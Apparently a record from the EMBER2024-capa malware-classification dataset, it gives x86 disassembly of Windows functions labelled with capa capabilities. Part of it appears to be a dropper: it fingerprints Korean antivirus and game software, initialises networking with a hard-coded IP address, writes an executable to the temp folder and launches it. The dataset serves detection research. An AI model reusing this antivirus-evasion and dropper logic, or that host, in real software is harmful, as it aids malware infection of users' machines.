joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1009d02
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [0x10244b0]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
push dword [ebp + 0xc]
mov ecx, ebx
mov dword [ebp - 4], eax
call sub.MFC42u.dll_CDataExchange::PrepareEditCtrl
cmp dword [ebx], 0
mov edi, eax
je 0x1009da0
push 0x40
lea eax, [ebp - 0x84]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
cmp word [ebp - 0x84], 0
je 0x1009d98
push esi
lea eax, [ebp - 0x84]
mov edi, 0x10247d0
push eax
mov ecx, edi
call fcn.01012ff3
test eax, eax
jne 0x1009d73
push 0xffffffffffffffff
push 0x40
push 0x67
call sub.MFC42u.dll_AfxMessageBox
mov ecx, ebx
call sub.MFC42u.dll_CDataExchange::Fail
push 2
push dword [esi]
lea eax, [ebp - 0x84]
push 0x40
push eax
mov ecx, edi
call fcn.0101406d
push esi
lea eax, [ebp - 0x84]
push eax
mov ecx, edi
call fcn.01012ff3
jmp 0x1009dce
mov dword [esi], 0x7fffffff
jmp 0x1009dce
mov esi, dword [esi]
cmp esi, 0x7fffffff
je 0x1009dce
push 2
push esi
push 0x40
lea eax, [ebp - 0x84]
push eax
mov ecx, 0x10247d0
call fcn.0101406d
lea eax, [ebp - 0x84]
push eax
push edi
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.01017e1c
leave
ret 0xc

Function at 0x100a24f
Capabilities:
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x10244b0]
push esi
xor esi, esi
cmp dword [0x10245dc], esi
mov dword [ebp - 4], eax
jne 0x100a318
push ebx
push edi
mov edi, 0x1023c14
mov ebx, 0xffff
xor eax, eax
cmp dword [edi - 4], eax
jne 0x100a2fd
cmp dword [edi], eax
je 0x100a2fd
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x100a2df
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
test eax, eax
je 0x100a2df
and word [eax], 0
push dword [edi]
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.01009ae8
mov esi, eax
and esi, ebx
jne 0x100a2fa
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
and esi, 0x10
test esi, esi
jne 0x100a2fa
lea eax, [ebp - 0x20c]
push eax
push dword [edi + 4]
push dword [edi]
call fcn.0100887d
mov esi, eax
and esi, ebx
je 0x100a2fd
and dword [edi], 0
add edi, 0x1c
cmp edi, 0x1023d64
jl 0x100a27d
pop edi
mov dword [0x10245dc], 1
pop ebx
mov ecx, dword [ebp - 4]
pop esi
call fcn.01017e1c
leave
ret
Function at 0x1012cfd
Capabilities:
Enumerate gui resources

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x10244b0]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp word [eax], 0
je 0x1012d6b
push eax
lea eax, [ebp - 0x20c]
push eax
call sub.MFC42u.dll_AfxFullPath
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
test ax, ax
mov dword [ebp - 0x210], eax
je 0x1012d6b
lea eax, [ebp - 0x210]
push eax
push 0x10127e5
call dword [sym.imp.USER32.dll_EnumWindows]
cmp word [ebp - 0x210], 0
jne 0x1012d5f
xor eax, eax
inc eax
jmp 0x1012d6d
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
xor eax, eax
mov ecx, dword [ebp - 4]
call fcn.01017e1c
leave
ret 4
Function at 0x1014576
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
cmp dword [ebp + 8], esi
mov dword [ebp - 4], esi
jne 0x101458b
xor eax, eax
jmp 0x10145e9
push edi
push esi
push 0x80
push 3
push esi
push 3
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10145b0
xor eax, eax
jmp 0x10145e8
push esi
lea eax, [ebp - 4]
push eax
push 2
lea eax, [ebp + 0xa]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10145df
cmp dword [ebp - 4], 2
jne 0x10145df
cmp word [ebp + 0xa], 0xfeff
je 0x10145dc
cmp word [ebp + 0xa], 0xfffe
jne 0x10145df
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
leave
ret 4

Function at 0x1016ef9
Capabilities:
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x10244b0]
push ebx
push esi
mov esi, dword [sym.imp.SHELL32.dll_DragQueryFileW]
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
push ebx
push ebx
push 0xffffffffffffffff
push edi
mov dword [ebp - 4], eax
mov dword [ebp - 0x214], ecx
call esi
mov ecx, dword [ebp - 0x214]
mov dword [ebp - 0x218], eax
lea eax, [ebp - 0x220]
push eax
call fcn.01008c06
cmp dword [ebp - 0x218], ebx
jbe 0x1016fa2
push 0x104
lea eax, [ebp - 0x210]
push eax
push ebx
push edi
call esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0x10
je 0x1016f99
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0x214]
mov dword [ebp - 0x220], eax
lea eax, [ebp - 0x220]
push eax
call fcn.01008c48
mov ecx, dword [ebp - 0x214]
lea eax, [ebp - 0x210]
push eax
call fcn.0101c249
inc ebx
cmp ebx, dword [ebp - 0x218]
jb 0x1016f47
mov ecx, dword [ebp - 0x214]
lea eax, [ebp - 0x220]
push eax
call fcn.01008c48
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor eax, eax
pop ebx
call fcn.01017e1c
leave
ret 4

Function at 0x1017e1c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10244b0]
jne 0x1017e2d
test ecx, 0xffff0000
jne 0x1017e2d
ret
jmp fcn.01017e37
Function at 0x1019f8b
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x1006e60
call fcn.0101a4b0
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
cmp word [0x1000000], 0x5a4d
jne 0x1019fd4
mov eax, dword [0x100003c]
cmp dword [eax + 0x1000000], 0x4550
jne 0x1019fd4
movzx ecx, word [eax + 0x1000018]
cmp ecx, 0x10b
je 0x1019fed
cmp ecx, 0x20b
je 0x1019fda
and dword [ebp - 0x1c], 0
jmp 0x101a004
cmp dword [eax + 0x1000084], 0xe
jbe 0x1019fd4
xor ecx, ecx
cmp dword [eax + 0x10000f8], ecx
jmp 0x1019ffe
cmp dword [eax + 0x1000074], 0xe
jbe 0x1019fd4
xor ecx, ecx
cmp dword [eax + 0x10000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
and dword [ebp - 4], 0
push 2
pop esi
push esi
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or edi, 0xffffffff
mov dword [0x102520c], edi
mov dword [0x1025210], edi
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x10251f0]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x10251ec]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x1025208], eax
call fcn.0101a4a8
cmp dword [0x10244c0], 0
jne 0x101a064
push fcn.0101a4a8
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.0101a491
push 0x1001f78
push 0x1001f74
call sub.msvcrt.dll__initterm
mov eax, dword [0x10251e8]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x10251e4]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.msvcrt.dll___wgetmainargs]
mov dword [ebp - 0x38], eax
push 0x1001f70
push 0x1001f20
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__wcmdln]
mov eax, dword [eax]
test eax, eax
jne 0x101a0c9
mov dword [ebp - 4], edi
mov eax, 0xff
jmp 0x101a178
mov dword [ebp - 0x20], eax
cmp word [eax], 0x22
jne 0x101a10a
add eax, esi
mov dword [ebp - 0x20], eax
mov cx, word [eax]
test cx, cx
je 0x101a0e5
cmp cx, 0x22
jne 0x101a0d2
cmp word [eax], 0x22
jne 0x101a0f0
add eax, esi
mov dword [ebp - 0x20], eax
mov cx, word [eax]
test cx, cx
je 0x101a0fe
cmp cx, 0x20
jbe 0x101a0eb
test byte [ebp - 0x54], 1
je 0x101a117
movzx ecx, word [ebp - 0x50]
jmp 0x101a11a
cmp word [eax], 0x20
jbe 0x101a0f0
add eax, esi
mov dword [ebp - 0x20], eax
jmp 0x101a10a
push 0xa
pop ecx
push ecx
push eax
push 0
push 0x1000000
call fcn.0101a657
mov esi, eax
mov dword [ebp - 0x3c], esi
cmp dword [ebp - 0x1c], 0
jne 0x101a13a
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], edi
jmp 0x101a176
mov eax, esi
call fcn.0101a4eb
ret
Function at 0x101a53d
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push 0x1006ea8
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x101a595
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x1004d80
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x101a588
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x101a597
xor eax, eax
pop esi
leave
ret 4
Function at 0x401000
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x418], 0
xor eax, eax
mov word [ebp - 0x414], ax
push 0x206
push 0
lea ecx, [ebp - 0x412]
push ecx
call fcn.00409920
add esp, 0xc
xor edx, edx
mov word [ebp - 0x20c], dx
push 0x206
push 0
lea eax, [ebp - 0x20a]
push eax
call fcn.00409920
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov edx, 2
shl edx, 1
mov dword [ebp - 0x41c], edx
cmp dword [ebp - 0x41c], 0x208
jae 0x401088
jmp 0x40108d
call fcn.00405d9f
xor eax, eax
mov ecx, dword [ebp - 0x41c]
mov word [ebp + ecx - 0x414], ax
push str.HangameKOREANHanUninstall.exe
lea edx, [ebp - 0x414]
push edx
push 0x41866c
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4010df
mov edx, dword [ebp - 0x418]
or edx, 1
mov dword [ebp - 0x418], edx
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [ebp - 0x414]
push eax
push 0x4186c0
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401121
mov eax, dword [ebp - 0x418]
or eax, 2
mov dword [ebp - 0x418], eax
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea ecx, [ebp - 0x414]
push ecx
push 0x4186cc
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401163
mov ecx, dword [ebp - 0x418]
or ecx, 4
mov dword [ebp - 0x418], ecx
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea edx, [ebp - 0x414]
push edx
push 0x418724
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4011a8
mov edx, dword [ebp - 0x418]
or edx, 0x100
mov dword [ebp - 0x418], edx
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [ebp - 0x414]
push eax
push 0x418784
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4011ec
mov eax, dword [ebp - 0x418]
or eax, 0x200
mov dword [ebp - 0x418], eax
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea ecx, [ebp - 0x414]
push ecx
push str._s_s
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401231
mov ecx, dword [ebp - 0x418]
or ecx, 0x400
mov dword [ebp - 0x418], ecx
mov edx, dword [ebp - 0x418]
or edx, 0x2000000
mov dword [ebp - 0x418], edx
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
Function at 0x401720
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x44], ax
push 0x3e
push 0
lea ecx, [ebp - 0x42]
push ecx
call fcn.00409920
add esp, 0xc
mov dword [ebp - 0x1fc], 0
mov dword [ebp - 0x1dc], 0
lea ecx, [ebp - 0x44]
call fcn.004047d0
lea edx, [ebp - 0x44]
mov dword [ebp - 0x1f0], edx
mov dword [ebp - 0x1e4], 0x41bf88
mov eax, dword [ebp - 0x1e4]
mov dword [ebp - 0x204], eax
mov ecx, dword [ebp - 0x1f0]
mov dx, word [ecx]
mov word [ebp - 0x1de], dx
mov eax, dword [ebp - 0x1e4]
mov cx, word [ebp - 0x1de]
mov word [eax], cx
mov edx, dword [ebp - 0x1f0]
add edx, 2
mov dword [ebp - 0x1f0], edx
mov eax, dword [ebp - 0x1e4]
add eax, 2
mov dword [ebp - 0x1e4], eax
cmp word [ebp - 0x1de], 0
jne 0x401784
push 0x41bf88
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0
je 0x401801
mov ecx, dword [ebp - 0x1dc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4019bd
push 0x41bf88
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0
jne 0x401828
xor eax, eax
jmp 0x4019bd
lea edx, [ebp - 0x1d4]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x41cb20
call fcn.00402530
add esp, 4
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0
jne 0x401982
mov dword [ebp - 0x1f4], str.dgudf
mov dword [ebp - 0x1e8], 0x41ccc8
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x200], eax
mov ecx, dword [ebp - 0x1f4]
mov dx, word [ecx]
mov word [ebp - 0x1d8], dx
mov eax, dword [ebp - 0x1e8]
mov cx, word [ebp - 0x1d8]
mov word [eax], cx
mov edx, dword [ebp - 0x1f4]
add edx, 2
mov dword [ebp - 0x1f4], edx
mov eax, dword [ebp - 0x1e8]
add eax, 2
mov dword [ebp - 0x1e8], eax
cmp word [ebp - 0x1d8], 0
jne 0x40187a
push 0x4188b0
push 0x41cb24
call fcn.004024c0
add esp, 8
push str.GTDR
push 0x41cba6
call fcn.004024e0
add esp, 8
push 0x4188d8
push 0x41cbc6
call fcn.004024c0
add esp, 8
mov ecx, 0x51
mov word [0x41cba4], cx
mov edx, 0x2b8e
mov word [0x41cc46], dx
mov dword [ebp - 0x1f8], str.BHSBDHS
mov dword [ebp - 0x1ec], 0x41cca8
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0x208], eax
mov ecx, dword [ebp - 0x1f8]
mov dx, word [ecx]
mov word [ebp - 0x1d6], dx
mov eax, dword [ebp - 0x1ec]
mov cx, word [ebp - 0x1d6]
mov word [eax], cx
mov edx, dword [ebp - 0x1f8]
add edx, 2
mov dword [ebp - 0x1f8], edx
mov eax, dword [ebp - 0x1ec]
add eax, 2
mov dword [ebp - 0x1ec], eax
cmp word [ebp - 0x1d6], 0
jne 0x401930
mov dword [0x41cce8], 5
call fcn.00404870
mov ecx, 0x418904
call fcn.00404910
mov dword [0x41ce20], eax
push 0x41c920
call fcn.004013a0
add esp, 4
push 0
push 0
push 0
push 0x4015d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
Function at 0x4019d0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x418], 0
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
call fcn.00404fa0
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0
je 0x401a12
mov eax, dword [ebp - 0x418]
jmp 0x401b93
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409920
add esp, 0xc
xor edx, edx
mov word [ebp - 0x414], dx
push 0x206
push 0
lea eax, [ebp - 0x412]
push eax
call fcn.00409920
add esp, 0xc
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0x420], 0
jmp 0x401a7d
mov edx, dword [ebp - 0x420]
add edx, 1
mov dword [ebp - 0x420], edx
cmp dword [ebp - 0x420], 5
jge 0x401aec
mov eax, dword [ebp - 0x420]
imul eax, eax, 0x118
mov ecx, 2
imul ecx, ecx, 0
movzx edx, word [eax + ecx + 0x41c3a8]
test edx, edx
jne 0x401aa8
jmp 0x401a6e
lea eax, [ebp - 0x20c]
push eax
push 0x104
lea ecx, [ebp - 0x414]
push ecx
call fcn.00405e79
add esp, 0xc
mov edx, dword [ebp - 0x420]
imul edx, edx, 0x118
add edx, 0x41c3a8
push edx
push 0x104
lea eax, [ebp - 0x414]
push eax
call fcn.00405ed5
add esp, 0xc
jmp 0x401a6e
mov dword [ebp - 0x41c], 0
jmp 0x401b07
mov ecx, dword [ebp - 0x41c]
add ecx, 1
mov dword [ebp - 0x41c], ecx
cmp dword [ebp - 0x41c], 5
jge 0x401b58
mov edx, dword [ebp - 0x41c]
imul edx, edx, 0x118
mov eax, 2
imul eax, eax, 0
movzx ecx, word [edx + eax + 0x41c3a8]
test ecx, ecx
jne 0x401b32
jmp 0x401af8
push 1
movzx edx, word [ebp + 0xc]
push edx
mov ecx, dword [ebp - 0x41c]
imul ecx, ecx, 0x118
add ecx, 0x41c3a8
mov edx, dword [ebp + 8]
call fcn.004058a0
add esp, 8
jmp 0x401af8
push 0x41c1a0
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00405ed5
add esp, 0xc
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401b8d
mov dword [ebp - 0x418], 2
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret
Function at 0x402010
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x64
push 0x41beb8
push 0x67
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x41bdf0
push 0x6d
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_LoadStringW]
mov edx, dword [ebp + 8]
push edx
call fcn.00402240
add esp, 4
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004022e0
add esp, 8
test eax, eax
jne 0x402070
xor eax, eax
jmp 0x402230
push 0x6d
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov dword [ebp - 0x238], eax
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x41af08
call fcn.00403bf0
call fcn.00402af0
test eax, eax
je 0x4020ad
call fcn.00404530
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401720
test eax, eax
jne 0x4020bd
xor eax, eax
jmp 0x402230
call fcn.00401c00
cmp dword [0x41ce20], 0
jbe 0x4020f4
movzx eax, word [0x41ce24]
test eax, eax
jle 0x4020f4
mov edx, str.218.54.31.226
mov ecx, dword [0x41ce20]
call fcn.00404d30
mov cx, word [0x41ce24]
mov word [0x41aef4], cx
mov dword [ebp - 0x234], str.fiosde.exe
mov dword [ebp - 0x230], 0x41c1a0
mov edx, dword [ebp - 0x230]
mov dword [ebp - 0x23c], edx
mov eax, dword [ebp - 0x234]
mov cx, word [eax]
mov word [ebp - 0x22a], cx
mov edx, dword [ebp - 0x230]
mov ax, word [ebp - 0x22a]
mov word [edx], ax
mov ecx, dword [ebp - 0x234]
add ecx, 2
mov dword [ebp - 0x234], ecx
mov edx, dword [ebp - 0x230]
add edx, 2
mov dword [ebp - 0x230], edx
cmp word [ebp - 0x22a], 0
jne 0x402114
call fcn.00404db0
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409920
add esp, 0xc
lea edx, [ebp - 0x20c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41c1a0
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00405ed5
add esp, 0xc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0x418a8c
lea ecx, [ebp - 0x20c]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret 0x10
Function at 0x402650
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x21c], 0
cmp dword [ebp + 8], 0
je 0x402679
cmp dword [ebp + 0xc], 0
jne 0x402683
jmp 0x4027df
cmp dword [ebp + 0x10], 0
je 0x4026d8
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x214], eax
mov ecx, dword [ebp - 0x214]
add ecx, 2
mov dword [ebp - 0x224], ecx
mov edx, dword [ebp - 0x214]
mov ax, word [edx]
mov word [ebp - 0x216], ax
add dword [ebp - 0x214], 2
cmp word [ebp - 0x216], 0
jne 0x4026a1
mov ecx, dword [ebp - 0x214]
sub ecx, dword [ebp - 0x224]
sar ecx, 1
mov dword [ebp - 0x220], ecx
jne 0x4026e2
jmp 0x4027df
xor edx, edx
mov word [ebp - 0x20c], dx
push 0x206
push 0
lea eax, [ebp - 0x20a]
push eax
call fcn.00409920
add esp, 0xc
cmp dword [ebp + 0x14], 0
je 0x40271b
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402763
cmp dword [0x41af08], 3
jne 0x402751
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x418aac
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00405ed5
add esp, 0xc
jmp 0x402763
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 0x10]
push edx
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00405ed5
add esp, 0xc
mov dword [ebp - 0x210], 0
push 0x418ab0
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x210]
push edx
call fcn.004060cc
add esp, 0xc
cmp dword [ebp - 0x210], 0
jne 0x4027ad
jmp 0x4027df
mov eax, dword [ebp - 0x210]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0040639e
add esp, 0x10
mov eax, dword [ebp - 0x210]
push eax
call fcn.004064b6
add esp, 4
mov dword [ebp - 0x21c], 1
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret

Function at 0x4029f0
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x214], 0
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409920
add esp, 0xc
mov dword [ebp - 0x210], 0
cmp dword [ebp + 8], 0
je 0x402a42
cmp dword [ebp + 0xc], 0
jne 0x402a4c
jmp 0x402acd
lea edx, [ebp - 0x20c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00405ed5
add esp, 0xc
push 0x418aec
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x210]
push edx
call fcn.004060cc
add esp, 0xc
cmp dword [ebp - 0x210], 0
je 0x402ac3
mov eax, dword [ebp - 0x210]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00406684
add esp, 0x10
mov eax, dword [ebp - 0x210]
push eax
call fcn.004064b6
add esp, 4
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405c5a
mov esp, ebp
pop ebp
ret